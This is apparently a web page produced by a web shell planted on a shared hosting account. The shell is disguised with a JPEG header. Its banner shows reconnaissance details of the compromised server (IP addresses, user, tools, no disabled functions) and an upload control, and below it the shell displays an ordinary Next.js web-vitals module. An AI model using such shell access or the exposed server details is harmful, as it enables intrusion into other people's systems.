ÿØÿà JPEG ÿþ;
| Server IP : 68.65.120.201 / Your IP : 216.73.216.126 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/taxhyuvu/nodevenv/public_html/dp_taxhelplines/14/lib/node_modules/next/dist/client/ |
Upload File : |
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.trackWebVitalMetric = trackWebVitalMetric;
exports.useExperimentalWebVitalsReport = useExperimentalWebVitalsReport;
exports.webVitalsCallbacks = void 0;
var _react = require("react");
const webVitalsCallbacks = new Set();
exports.webVitalsCallbacks = webVitalsCallbacks;
const metrics = [];
function trackWebVitalMetric(metric) {
metrics.push(metric);
webVitalsCallbacks.forEach((callback)=>callback(metric)
);
}
function useExperimentalWebVitalsReport(callback) {
const metricIndexRef = (0, _react).useRef(0);
(0, _react).useEffect(()=>{
// Flush calculated metrics
const reportMetric = (metric)=>{
callback(metric);
metricIndexRef.current = metrics.length;
};
for(let i = metricIndexRef.current; i < metrics.length; i++){
reportMetric(metrics[i]);
}
webVitalsCallbacks.add(reportMetric);
return ()=>{
webVitalsCallbacks.delete(reportMetric);
};
}, [
callback
]);
}
//# sourceMappingURL=vitals.js.map